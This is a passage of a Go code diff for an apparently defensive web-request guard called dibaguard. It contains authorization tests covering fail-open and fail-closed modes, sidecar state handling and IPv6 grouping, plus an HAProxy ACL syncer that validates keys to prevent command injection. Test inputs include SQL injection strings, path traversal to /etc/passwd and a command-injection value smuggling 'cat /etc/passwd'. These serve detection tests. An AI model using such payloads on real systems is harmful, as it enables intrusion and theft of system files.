+ h["X-Forwarded-For"] = "7.7.7.7, 10.2.3.4"
283
+ expect(t, "chain of trusted LBs", f.do("GET", "/nginx", "10.9.9.9:1234", h, ""), 403, "block")
284
+ // a challenge cookie minted for another address does not pass
285
+ f.setState(nil, []string{"203.0.113.11"}, nil)
286
+ tok := dibaguard.ChallengeToken([]byte("k"), "1.1.1.1", time.Now())
287
+ h = map[string]string{"X-Forwarded-For": "1.1.1.1", "X-Original-URI": "/product/1", "Cookie": "dg_ch=" + tok}
288
+ expect(t, "borrowed challenge cookie", f.do("GET", "/nginx", "203.0.113.11:5555", h, ""), 401, "challenge")
289
+ }
290
+
291
+ func TestReportMode(t *testing.T) {
292
+ f := newFixture(t, func(c *config) { c.mode = "report" })
293
+ f.setState([]string{"7.7.7.7"}, []string{"6.6.6.6"}, nil)
294
+ for _, c := range []struct{ name, uri, client, verdict, reason string }{
295
+ {"benign", "/product/42", "1.1.1.1", "allow", ""},
296
+ {"sqli", "/items?id=" + sqli, "2.2.2.2", "block", "sig:A15"},
297
+ {"probe", "/.git/config", "3.3.3.3", "challenge", "sig:A21"},
298
+ {"sidecar-blocked", "/product/1", "7.7.7.7", "block", "sidecar:block"},
299
+ {"sidecar-challenged", "/product/1", "6.6.6.6", "challenge", "sidecar:challenge"},
300
+ } {
301
+ for _, path := range []string{"/nginx", "/forward"} {
302
+ w := f.do("GET", path, lb, map[string]string{"X-Original-URI": c.uri, "X-Forwarded-For": c.client}, "")
303
+ expect(t, "report "+path+" "+c.name, w, 200, c.verdict)
304
+ if w.Header().Get("X-DibaGuard-Reason") != c.reason || w.Header().Get("X-DibaGuard-Mode") != "report" {
305
+ t.Errorf("report %s %s: reason %q mode %q", path, c.name, w.Header().Get("X-DibaGuard-Reason"), w.Header().Get("X-DibaGuard-Mode"))
306
+ }
307
+ if s := f.lastSummary(t); s.Client != c.client || s.Text == "" { // report mode reports every request to the sidecar
308
+ t.Errorf("report summary %s: %+v", c.name, s)
309
+ }
310
+ }
311
+ }
312
+ w := f.do("GET", "/envoy/items?id="+sqli, lb, map[string]string{"X-Forwarded-For": "2.2.2.2"}, "")
313
+ expect(t, "report envoy sqli", w, 200, "block")
314
+ }
315
+
316
+ type slowDecider struct {
317
+ inner *dibaguard.Decider
318
+ delay time.Duration
319
+ panic bool
320
+ }
321
+
322
+ func (d slowDecider) Source(ip string, hdr http.Header, now time.Time) dibaguard.Verdict {
323
+ return d.inner.Source(ip, hdr, now)
324
+ }
325
+
326
+ func (d slowDecider) Inspect(req dibaguard.Request, now time.Time) dibaguard.Verdict {
327
+ if d.panic {
328
+ panic("boom")
329
+ }
330
+ time.Sleep(d.delay)
331
+ return d.inner.Inspect(req, now)
332
+ }
333
+
334
+ func TestFailOpenClosed(t *testing.T) {
335
+ benign := map[string]string{"X-Original-URI": "/product/42", "X-Forwarded-For": "1.1.1.1"}
336
+ attack := map[string]string{"X-Original-URI": "/items?id=" + sqli, "X-Forwarded-For": "2.2.2.2"}
337
+
338
+ // model unavailable, fail-open: signatures and sidecar state still apply, the rest is allowed and marked
339
+ f := newFixture(t, nil)
340
+ f.dec.Model, f.s.modelOK = nil, false
341
+ w := f.do("GET", "/nginx", lb, benign, "")
342
+ expect(t, "no model, fail-open benign", w, 200, "allow")
343
+ if w.Header().Get("X-DibaGuard-Degraded") != "model_unavailable" || w.Header().Get("X-DibaGuard-Reason") != "fail_open:model_unavailable" {
344
+ t.Errorf("no model headers: %v", w.Header())
345
+ }
346
+ expect(t, "no model, fail-open sqli (signatures still block)", f.do("GET", "/nginx", lb, attack, ""), 403, "block")
347
+
348
+ // model unavailable, fail-closed: everything is denied (403 for auth_request and Envoy - Envoy would let a 5xx
349
+ // through under failure_mode_allow - 503 for /forward)
350
+ f = newFixture(t, func(c *config) { c.failClosed = true })
351
+ f.dec.Model, f.s.modelOK = nil, false
352
+ w = f.do("GET", "/nginx", lb, benign, "")
353
+ expect(t, "no model, fail-closed nginx", w, 403, "block")
354
+ if w.Header().Get("X-DibaGuard-Reason") != "fail_closed:model_unavailable" {
355
+ t.Errorf("fail-closed reason %q", w.Header().Get("X-DibaGuard-Reason"))
356
+ }
357
+ expect(t, "no model, fail-closed forward", f.do("GET", "/forward", lb, benign, ""), 503, "block")
358
+ expect(t, "no model, fail-closed envoy", f.do("GET", "/envoy/product/42", lb, nil, ""), 403, "block")
359
+
360
+ // sidecar state stale / never fetched
361
+ for _, failClosed := range []bool{false, true} {
362
+ f = newFixture(t, func(c *config) { c.failClosed = failClosed })
363
+ f.state.Set(dibaguard.StateSnapshot{Block: map[string]float64{"2.2.2.2": float64(time.Now().Add(time.Hour).Unix())}}, time.Now().Add(-time.Minute))
364
+ w = f.do("GET", "/nginx", lb, benign, "")
365
+ if failClosed {
366
+ expect(t, "stale sidecar, fail-closed", w, 403, "block")
367
+ } else {
368
+ expect(t, "stale sidecar, fail-open", w, 200, "allow")
369
+ if w.Header().Get("X-DibaGuard-Degraded") != "sidecar_unavailable" {
370
+ t.Errorf("stale sidecar: degraded %q", w.Header().Get("X-DibaGuard-Degraded"))
371
+ }
372
+ // the last known state still applies
373
+ expect(t, "stale sidecar keeps last state", f.do("GET", "/nginx", lb, map[string]string{"X-Original-URI": "/", "X-Forwarded-For": "2.2.2.2"}, ""), 403, "block")
374
+ }
375
+ }
376
+ f = newFixture(t, nil)
377
+ f.s.state = &dibaguard.FastState{}
378
+ if w := f.do("GET", "/nginx", lb, benign, ""); w.Header().Get("X-DibaGuard-Degraded") != "sidecar_unavailable" {
379
+ t.Errorf("never-polled sidecar: %v", w.Header())
380
+ }
381
+
382
+ // over budget: the answer comes at the budget, not when the decision finishes
383
+ for _, failClosed := range []bool{false, true} {
384
+ f = newFixture(t, func(c *config) { c.budget = 20 * time.Millisecond; c.failClosed = failClosed })
385
+ f.s.dec = slowDecider{inner: f.dec, delay: 300 * time.Millisecond}
386
+ start := time.Now()
387
+ w = f.do("GET", "/nginx", lb, benign, "")
388
+ if el := time.Since(start); el > 200*time.Millisecond {
389
+ t.Errorf("timeout answered after %v", el)
390
+ }
391
+ if failClosed {
392
+ expect(t, "timeout fail-closed", w, 403, "block")
393
+ expect(t, "timeout fail-closed forward", f.do("GET", "/forward", lb, benign, ""), 503, "block")
394
+ } else {
395
+ expect(t, "timeout fail-open", w, 200, "allow")
396
+ }
397
+ if want := map[bool]string{false: "fail_open:timeout", true: "fail_closed:timeout"}[failClosed]; w.Header().Get("X-DibaGuard-Reason") != want {
398
+ t.Errorf("timeout reason %q want %q", w.Header().Get("X-DibaGuard-Reason"), want)
399
+ }
400
+ }
401
+ // a decision that panics
402
+ f = newFixture(t, nil)
403
+ f.s.dec = slowDecider{inner: f.dec, panic: true}
404
+ w = f.do("GET", "/nginx", lb, benign, "")
405
+ expect(t, "panic fail-open", w, 200, "allow")
406
+ if w.Header().Get("X-DibaGuard-Reason") != "fail_open:panic" {
407
+ t.Errorf("panic reason %q", w.Header().Get("X-DibaGuard-Reason"))
408
+ }
409
+ // overload: no decision slot within the budget
410
+ f = newFixture(t, func(c *config) { c.budget = 30 * time.Millisecond })
411
+ f.s.sem = make(chan struct{}, 1)
412
+ f.s.sem <- struct{}{} // the only slot is taken
413
+ w = f.do("GET", "/nginx", lb, benign, "")
414
+ expect(t, "overload fail-open", w, 200, "allow")
415
+ if w.Header().Get("X-DibaGuard-Reason") != "fail_open:overload" {
416
+ t.Errorf("overload reason %q", w.Header().Get("X-DibaGuard-Reason"))
417
+ }
418
+ // report mode never denies, even fail-closed
419
+ f = newFixture(t, func(c *config) { c.mode = "report"; c.failClosed = true })
420
+ f.dec.Model, f.s.modelOK = nil, false
421
+ expect(t, "report + fail-closed", f.do("GET", "/forward", lb, benign, ""), 200, "block")
422
+ }
423
+
424
+ // the sidecar contract end to end: guard_fast_state in, guard_score_http out
425
+ func TestSidecarLink(t *testing.T) {
426
+ var mu sync.Mutex
427
+ var texts, clients []string
428
+ side := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
429
+ switch r.URL.Path {
430
+ case "/tools/guard_fast_state":
431
+ json.NewEncoder(w).Encode(map[string]any{"block": map[string]float64{"7.7.7.7": float64(time.Now().Add(time.Hour).Unix())}, "challenge": map[string]float64{}, "rate_limit": map[string]float64{}})
432
+ case "/tools/guard_score_http":
433
+ var req struct {
434
+ Texts []string `json:"texts"`
435
+ Client []string `json:"client"`
436
+ }
437
+ json.NewDecoder(r.Body).Decode(&req)
438
+ mu.Lock()
439
+ texts, clients = append(texts, req.Texts...), append(clients, req.Client...)
440
+ mu.Unlock()
441
+ w.Write([]byte("{}"))
442
+ default:
443
+ http.NotFound(w, r)
444
+ }
445
+ }))
446
+ defer side.Close()
447
+ f := newFixture(t, nil)
448
+ st, err := dibaguard.FetchFastState(&http.Client{Timeout: time.Second}, side.URL)
449
+ if err != nil {
450
+ t.Fatal(err)
451
+ }
452
+ f.state.Set(st, time.Now())
453
+ go dibaguard.PushSummaries(side.URL, f.s.queue, 2, 20*time.Millisecond)
454
+ expect(t, "sidecar-blocked", f.nginx("/product/1", "7.7.7.7", nil), 403, "block")
455
+ expect(t, "benign", f.nginx("/product/2", "1.1.1.1", nil), 200, "allow")
456
+ expect(t, "attack", f.nginx("/items?id="+sqli, "2.2.2.2", nil), 403, "block")
457
+ deadline := time.Now().Add(3 * time.Second)
458
+ for {
459
+ mu.Lock()
460
+ n := len(texts)
461
+ mu.Unlock()
462
+ if n >= 2 || time.Now().After(deadline) {
463
+ break
464
+ }
465
+ time.Sleep(10 * time.Millisecond)
466
+ }
467
+ mu.Lock()
468
+ defer mu.Unlock()
469
+ if len(texts) != 2 || clients[0] != "1.1.1.1" || clients[1] != "2.2.2.2" || !strings.HasPrefix(texts[0], "get /product/2") {
470
+ t.Errorf("summaries: %q %q", texts, clients)
471
+ }
472
+ // a sidecar answering an error leaves the last state in place
473
+ bad := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { http.Error(w, `{"error":"x"}`, 500) }))
474
+ defer bad.Close()
475
+ if _, err := dibaguard.FetchFastState(&http.Client{Timeout: time.Second}, bad.URL); err == nil {
476
+ t.Error("HTTP 500 from the sidecar accepted as a state")
477
+ }
478
+ }
479
+
480
+ func TestHealth(t *testing.T) {
481
+ f := newFixture(t, nil)
482
+ f.nginx("/product/1", "1.1.1.1", nil)
483
+ f.nginx("/items?id="+sqli, "2.2.2.2", nil)
484
+ w := f.do("GET", "/healthz", lb, nil, "")
485
+ var h map[string]any
486
+ if err := json.Unmarshal(w.Body.Bytes(), &h); err != nil || h["checks"].(float64) != 2 || h["blocked"].(float64) != 1 || h["allowed"].(float64) != 1 {
487
+ t.Errorf("health: %s", w.Body.String())
488
+ }
489
+ }
490
+
491
+ func benchAuthz(b *testing.B, uri string) {
492
+ f := newFixture(b, nil)
493
+ f.s.queue = nil
494
+ hdr := http.Header{}
495
+ hdr.Set("X-Original-Method", "GET")
496
+ hdr.Set("X-Original-URI", uri)
497
+ hdr.Set("X-Forwarded-For", "1.1.1.1")
498
+ hdr.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0) Chrome/121")
499
+ hdr.Set("Accept", "text/html")
500
+ req := httptest.NewRequest("GET", "/nginx", nil)
501
+ req.RemoteAddr = lb
502
+ req.Header = hdr
503
+ b.ReportAllocs()
504
+ b.ResetTimer()
505
+ for i := 0; i < b.N; i++ {
506
+ w := httptest.NewRecorder()
507
+ f.s.ServeHTTP(w, req)
508
+ }
509
+ }
510
+
511
+ // the whole check handler (client identity, request reconstruction, budgeted decision, response headers),
512
+ // without the network
513
+ func BenchmarkAuthzNginxBenign(b *testing.B) { benchAuthz(b, "/product/42?page=2&sort=price") }
514
+ func BenchmarkAuthzNginxAttack(b *testing.B) { benchAuthz(b, "/items?id="+sqli) }
515
+
516
+ // malformed escapes and ';' no longer hide a payload (shared decision), stray '%' still passes
517
+ func TestAuthzMalformedEscapes(t *testing.T) {
518
+ f := newFixture(t, nil)
519
+ for _, c := range []struct {
520
+ uri string
521
+ code int
522
+ }{
523
+ {"/items?id=%zz1%27%20or%201%3D1--%20-", 403},
524
+ {"/ping?host=127.0.0.1;cat%20/etc/passwd", 403},
525
+ {"/items?id=1%u0027%u0020or%u00201=1--%u0020-", 403},
526
+ {"/download/%zz/..%2f..%2f..%2f..%2fetc%2fpasswd", 403}, // a path Go would refuse to parse: decoded leniently
527
+ {"/search?q=100%", 200},
528
+ {"/search?q=50%+off&sort=price;desc", 200},
529
+ } {
530
+ if w := f.nginx(c.uri, "1.1.1.1", nil); w.Code != c.code {
531
+ t.Errorf("%s: %d want %d (reason %q)", c.uri, w.Code, c.code, w.Header().Get("X-DibaGuard-Reason"))
532
+ }
533
+ }
534
+ }
535
+
536
+ func TestAuthzIPv6AndForwarded(t *testing.T) {
537
+ f := newFixture(t, func(c *config) { c.ipHeaders = []string{"Forwarded", "X-Forwarded-For"} })
538
+ f.state.Agg = dibaguard.Aggregation{BlockBits: 64}
539
+ f.setState([]string{"2001:db8:1:2::5", "7.7.7.7"}, nil, nil)
540
+ nginx := func(hdr map[string]string) *httptest.ResponseRecorder {
541
+ h := map[string]string{"X-Original-URI": "/product/1"}
542
+ for k, v := range hdr {
543
+ h[k] = v
544
+ }
545
+ return f.do("GET", "/nginx", lb, h, "")
546
+ }
547
+ expect(t, "rotated address inside a blocked /64", nginx(map[string]string{"X-Forwarded-For": "2001:db8:1:2:dead:beef::1"}), 403, "block")
548
+ expect(t, "next /64", nginx(map[string]string{"X-Forwarded-For": "2001:db8:1:3::1"}), 200, "allow")
549
+ expect(t, "v4-mapped form of a blocked IPv4", nginx(map[string]string{"X-Forwarded-For": "::ffff:7.7.7.7"}), 403, "block")
550
+ expect(t, "Forwarded, client-written element ignored", nginx(map[string]string{"Forwarded": "for=7.7.7.7, for=9.9.9.9"}), 200, "allow")
551
+ expect(t, "Forwarded, real client blocked", nginx(map[string]string{"Forwarded": `for=9.9.9.9, for="[2001:db8:1:2::abc]:443"`}), 403, "block")
552
+ // direct IPv6 peer (untrusted): its own address, grouped
553
+ w := f.do("GET", "/nginx", "[2001:db8:1:2::77]:5555", map[string]string{"X-Original-URI": "/", "X-Forwarded-For": "1.1.1.1"}, "")
554
+ expect(t, "untrusted IPv6 peer in a blocked /64", w, 403, "block")
555
+ }
runtime/go/cmd/dibaguard-authz/haproxy.go ADDED
@@ -0,0 +1,380 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ package main
2
+
3
+ import (
4
+ "bufio"
5
+ "errors"
6
+ "fmt"
7
+ "io"
8
+ "net"
9
+ "net/netip"
10
+ "sort"
11
+ "strings"
12
+ "sync"
13
+ "time"
14
+
15
+ "dibaguard"
16
+ )
17
+
18
+ // haproxySync mirrors the sidecar's standing decisions into an HAProxy ACL (or map) through the Runtime API, so
19
+ // HAProxy drops blocked sources in its own data path with no per-request round trip:
20
+ //
21
+ // tcp-request connection reject if { src -f /etc/haproxy/dibaguard-block.acl }
22
+ //
23
+ // The ACL/map file is owned by the syncer: every entry it holds that is not in the desired set is deleted. Only
24
+ // the difference is sent (add / del, set for a map value that changed). On every (re)connect, and every
25
+ // resyncEvery, the syncer reads what HAProxy actually holds ("show acl") and diffs against that, so a reload
26
+ // (which resets the ACL to the file on disk), a dropped connection or a lost command heals itself.
27
+ //
28
+ // Keys are validated as IP addresses / CIDRs before they are written to the socket: nothing the sidecar sends can
29
+ // inject a Runtime API command.
30
+ type haproxySync struct {
31
+ addr string // "127.0.0.1:9999", "tcp:host:port", "ipv4@host:port", "unix:/run/haproxy/admin.sock", "/path.sock"
32
+ kind string // acl | map
33
+ file string // the ACL/map as the config loads it (-f path, or #<id>)
34
+ actions []string // which standing decisions are pushed (default: block)
35
+ timeout time.Duration // per connect / per command
36
+ resyncEvery time.Duration
37
+ maxEntries int
38
+ agg dibaguard.Aggregation // an IPv6 block covers its /BlockBits network (rate_limit: /RateBits)
39
+ logf func(format string, args ...any)
40
+
41
+ mu sync.Mutex
42
+ conn net.Conn
43
+ rd *bufio.Reader
44
+ have map[string]hapEntry // normalized key -> what HAProxy holds
45
+ synced bool // have reflects HAProxy
46
+ lastFull time.Time
47
+ st hapStats
48
+ }
49
+
50
+ type hapEntry struct{ raw, value string }
51
+
52
+ type hapStats struct {
53
+ Adds, Dels, Sets, Resyncs, Errors, Skipped int64
54
+ Entries int
55
+ LastSync time.Time
56
+ LastError string
57
+ }
58
+
59
+ type ioError struct{ err error }
60
+
61
+ func (e ioError) Error() string { return "haproxy runtime api: " + e.err.Error() }
62
+ func (e ioError) Unwrap() error { return e.err }
63
+
64
+ // validName guards the ACL/map name that is interpolated into commands.
65
+ func validName(s string) bool {
66
+ return s != "" && !strings.ContainsAny(s, " \t\r\n;\x00")
67
+ }
68
+
69
+ // socketAddr splits an HAProxy-style socket address into a dial network and address.
70
+ func socketAddr(a string) (network, address string) {
71
+ for _, p := range []string{"unix@", "unix:"} {
72
+ if strings.HasPrefix(a, p) {
73
+ return "unix", a[len(p):]
74
+ }
75
+ }
76
+ for _, p := range []string{"ipv4@", "ipv6@", "tcp@", "tcp:"} {
77
+ if strings.HasPrefix(a, p) {
78
+ return "tcp", a[len(p):]
79
+ }
80
+ }
81
+ if strings.HasPrefix(a, "/") || strings.HasPrefix(a, "./") {
82
+ return "unix", a
83
+ }
84
+ return "tcp", a
85
+ }
86
+
87
+ // normalizeKey turns a source into the canonical address / CIDR text HAProxy is sent, or rejects it. Only
88
+ // [0-9a-fA-F.:/] can reach the socket.
89
+ func normalizeKey(s string) (string, bool) {
90
+ s = strings.TrimSpace(s)
91
+ if s == "" || len(s) > 64 || strings.Trim(s, "0123456789abcdefABCDEF.:/") != "" {
92
+ return "", false
93
+ }
94
+ if strings.Contains(s, "/") {
95
+ p, err := netip.ParsePrefix(s)
96
+ if err != nil {
97
+ return "", false
98
+ }
99
+ if p.Addr().Is4In6() && p.Bits() >= 96 {
100
+ p = netip.PrefixFrom(p.Addr().Unmap(), p.Bits()-96)
101
+ }
102
+ p = p.Masked()
103
+ if p.Bits() == p.Addr().BitLen() {
104
+ return p.Addr().String(), true
105
+ }
106
+ return p.String(), true
107
+ }
108
+ a, err := netip.ParseAddr(s)
109
+ if err != nil {
110
+ return "", false
111
+ }
112
+ return a.Unmap().String(), true
113
+ }
114
+
115
+ // desired is the set to mirror at unix time now: key -> action, block outranking challenge outranking rate_limit.
116
+ func (h *haproxySync) desired(snap dibaguard.StateSnapshot, now float64) map[string]string {
117
+ out := map[string]string{}
118
+ skipped := int64(0)
119
+ for _, act := range []string{dibaguard.ActionBlock, dibaguard.ActionChallenge, dibaguard.ActionRateLimit} {
120
+ if !contains(h.actions, act) {
121
+ continue
122
+ }
123
+ var m map[string]float64
124
+ switch act {
125
+ case dibaguard.ActionBlock:
126
+ m = snap.Block
127
+ case dibaguard.ActionChallenge:
128
+ m = snap.Challenge
129
+ default:
130
+ m = snap.RateLimit
131
+ }
132
+ keys := make([]string, 0, len(m))
133
+ for k := range m {
134
+ keys = append(keys, k)
135
+ }
136
+ sort.Strings(keys) // deterministic when the cap cuts
137
+ for _, src := range keys {
138
+ if m[src] <= now {
139
+ continue
140
+ }
141
+ k, ok := normalizeKey(src)
142
+ if !ok {
143
+ skipped++
144
+ continue
145
+ }
146
+ k = h.agg.Key(act, k) // an IPv6 address -> its network (attackers rotate addresses inside a /64)
147
+ if _, dup := out[k]; dup {
148
+ continue
149
+ }
150
+ if h.maxEntries > 0 && len(out) >= h.maxEntries {
151
+ skipped++
152
+ continue
153
+ }
154
+ out[k] = act
155
+ }
156
+ }
157
+ h.mu.Lock()
158
+ h.st.Skipped += skipped
159
+ h.mu.Unlock()
160
+ return out
161
+ }
162
+
163
+ func contains(xs []string, x string) bool {
164
+ for _, y := range xs {
165
+ if y == x {
166
+ return true
167
+ }
168
+ }
169
+ return false
170
+ }
171
+
172
+ func (h *haproxySync) close() {
173
+ if h.conn != nil {
174
+ h.conn.Close()
175
+ }
176
+ h.conn, h.rd, h.synced = nil, nil, false
177
+ }
178
+
179
+ // alive reports whether the connection is still open, without sending anything: a connection HAProxy closed
180
+ // (stats timeout, reload) reads EOF at once, an open one times out. A sync with nothing to send would otherwise
181
+ // never notice that a reload reset the ACL.
182
+ func (h *haproxySync) alive() bool {
183
+ if h.conn == nil || h.rd.Buffered() > 0 { // unsolicited bytes: out of step, resync
184
+ return false
185
+ }
186
+ h.conn.SetReadDeadline(time.Now().Add(time.Millisecond))
187
+ _, err := h.rd.Peek(1)
188
+ h.conn.SetReadDeadline(time.Time{})
189
+ var ne net.Error
190
+ return errors.As(err, &ne) && ne.Timeout()
191
+ }
192
+
193
+ // cmd sends one command and returns HAProxy's answer (prompt mode: the answer ends with "\n> ").
194
+ func (h *haproxySync) cmd(line string) (string, error) {
195
+ h.conn.SetDeadline(time.Now().Add(h.timeout))
196
+ if _, err := io.WriteString(h.conn, line+"\n"); err != nil {
197
+ return "", ioError{err}
198
+ }
199
+ var buf []byte
200
+ for {
201
+ b, err := h.rd.ReadByte()
202
+ if err != nil {
203
+ return "", ioError{err}
204
+ }
205
+ buf = append(buf, b)
206
+ if n := len(buf); b == ' ' && n >= 2 && buf[n-2] == '>' && (n == 2 || buf[n-3] == '\n') {
207
+ return strings.TrimSpace(string(buf[:n-2])), nil
208
+ }
209
+ }
210
+ }
211
+
212
+ // connect opens the socket, enters prompt mode and loads what HAProxy holds now.
213
+ func (h *haproxySync) connect() error {
214
+ network, address := socketAddr(h.addr)
215
+ c, err := net.DialTimeout(network, address, h.timeout)
216
+ if err != nil {
217
+ return ioError{err}
218
+ }
219
+ h.conn, h.rd = c, bufio.NewReader(c)
220
+ if _, err := h.cmd("prompt"); err != nil {
221
+ return err
222
+ }
223
+ out, err := h.cmd("show " + h.kind + " " + h.file)
224
+ if err != nil {
225
+ return err
226
+ }
227
+ have := map[string]hapEntry{}
228
+ for _, line := range strings.Split(out, "\n") {
229
+ f := strings.Fields(line)
230
+ if len(f) == 0 {
231
+ continue
232
+ }
233
+ if !strings.HasPrefix(f[0], "0x") || len(f) < 2 { // "Unknown ACL identifier...": the config does not load it
234
+ return fmt.Errorf("haproxy: show %s %s: %s", h.kind, h.file, firstLine(out))
235
+ }
236
+ k, ok := normalizeKey(f[1])
237
+ if !ok {
238
+ k = f[1]
239
+ }
240
+ have[k] = hapEntry{raw: f[1], value: strings.Join(f[2:], " ")}
241
+ }
242
+ h.have, h.synced, h.lastFull = have, true, time.Now()
243
+ h.st.Resyncs++
244
+ return nil
245
+ }
246
+
247
+ func firstLine(s string) string {
248
+ l, _, _ := strings.Cut(strings.TrimSpace(s), "\n")
249
+ return l
250
+ }
251
+
252
+ // Sync makes HAProxy hold exactly desired, sending only the difference.
253
+ func (h *haproxySync) Sync(desired map[string]string) error {
254
+ h.mu.Lock()
255
+ defer h.mu.Unlock()
256
+ var err error
257
+ for attempt := 0; attempt < 2; attempt++ {
258
+ if !h.synced || time.Since(h.lastFull) > h.resyncEvery || !h.alive() {
259
+ h.close()
260
+ if err = h.connect(); err != nil {
261
+ h.close()
262
+ var ioe ioError
263
+ if errors.As(err, &ioe) {
264
+ continue
265
+ }
266
+ break
267
+ }
268
+ }
269
+ if err = h.apply(desired); err == nil {
270
+ h.st.LastSync, h.st.LastError, h.st.Entries = time.Now(), "", len(h.have)
271
+ return nil
272
+ }
273
+ var ioe ioError
274
+ if !errors.As(err, &ioe) {
275
+ h.synced = false // an unexpected answer: re-read the truth next time
276
+ break
277
+ }
278
+ h.close() // the connection dropped (stats timeout, reload): reconnect and resync once
279
+ }
280
+ h.st.Errors++
281
+ h.st.LastError = err.Error()
282
+ return err
283
+ }
284
+
285
+ func (h *haproxySync) apply(desired map[string]string) error {
286
+ // additions (and value changes) first: a new attacker starts being dropped before old entries are lifted
287
+ keys := make([]string, 0, len(desired))
288
+ for k := range desired {
289
+ keys = append(keys, k)
290
+ }
291
+ sort.Strings(keys)
292
+ for _, k := range keys {
293
+ val := desired[k]
294
+ e, held := h.have[k]
295
+ var line string
296
+ switch {
297
+ case !held && h.kind == "map":
298
+ line = fmt.Sprintf("add map %s %s %s", h.file, k, val)
299
+ case !held:
300
+ line = fmt.Sprintf("add acl %s %s", h.file, k)
301
+ case h.kind == "map" && e.value != val:
302
+ line = fmt.Sprintf("set map %s %s %s", h.file, e.raw, val)
303
+ default:
304
+ continue
305
+ }
306
+ out, err := h.cmd(line)
307
+ if err != nil {
308
+ return err
309
+ }
310
+ if out != "" {
311
+ return fmt.Errorf("haproxy: %q: %s", line, firstLine(out))
312
+ }
313
+ if held {
314
+ h.st.Sets++
315
+ h.have[k] = hapEntry{raw: e.raw, value: val}
316
+ } else {
317
+ h.st.Adds++
318
+ h.have[k] = hapEntry{raw: k, value: val}
319
+ }
320
+ }
321
+ gone := make([]string, 0)
322
+ for k := range h.have {
323
+ if _, ok := desired[k]; !ok {
324
+ gone = append(gone, k)
325
+ }
326
+ }
327
+ sort.Strings(gone)
328
+ for _, k := range gone {
329
+ line := fmt.Sprintf("del %s %s %s", h.kind, h.file, h.have[k].raw)
330
+ out, err := h.cmd(line)
331
+ if err != nil {
332
+ return err
333
+ }
334
+ if out != "" && !strings.Contains(strings.ToLower(out), "not found") {
335
+ return fmt.Errorf("haproxy: %q: %s", line, firstLine(out))
336
+ }
337
+ h.st.Dels++
338
+ delete(h.have, k)
339
+ }
340
+ return nil
341
+ }
342
+
343
+ // Stats is a copy of the syncer's counters.
344
+ func (h *haproxySync) Stats() hapStats {
345
+ h.mu.Lock()
346
+ defer h.mu.Unlock()
347
+ return h.st
348
+ }
349
+
350
+ // Close drops the connection.
351
+ func (h *haproxySync) Close() {
352
+ h.mu.Lock()
353
+ h.close()
354
+ h.mu.Unlock()
355
+ }
356
+
357
+ // loop mirrors the state every `every` until stop is closed. Deadlines expire here too: an entry leaves HAProxy
358
+ // when its deadline passes even if the sidecar is down.
359
+ func (h *haproxySync) loop(state *dibaguard.FastState, every time.Duration, stop <-chan struct{}) {
360
+ t := time.NewTicker(every)
361
+ defer t.Stop()
362
+ var lastErr string
363
+ for {
364
+ now := time.Now()
365
+ if err := h.Sync(h.desired(state.Snapshot(), float64(now.UnixNano())/1e9)); err != nil {
366
+ if err.Error() != lastErr && h.logf != nil {
367
+ h.logf("haproxy sync: %v", err)
368
+ }
369
+ lastErr = err.Error()
370
+ } else {
371
+ lastErr = ""
372
+ }
373
+ select {
374
+ case <-stop:
375
+ h.Close()
376
+ return
377
+ case <-t.C:
378
+ }
379
+ }
380
+ }
runtime/go/cmd/dibaguard-authz/haproxy_test.go ADDED
@@ -0,0 +1,393 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ package main
2
+
3
+ import (
4
+ "bufio"
5
+ "fmt"
6
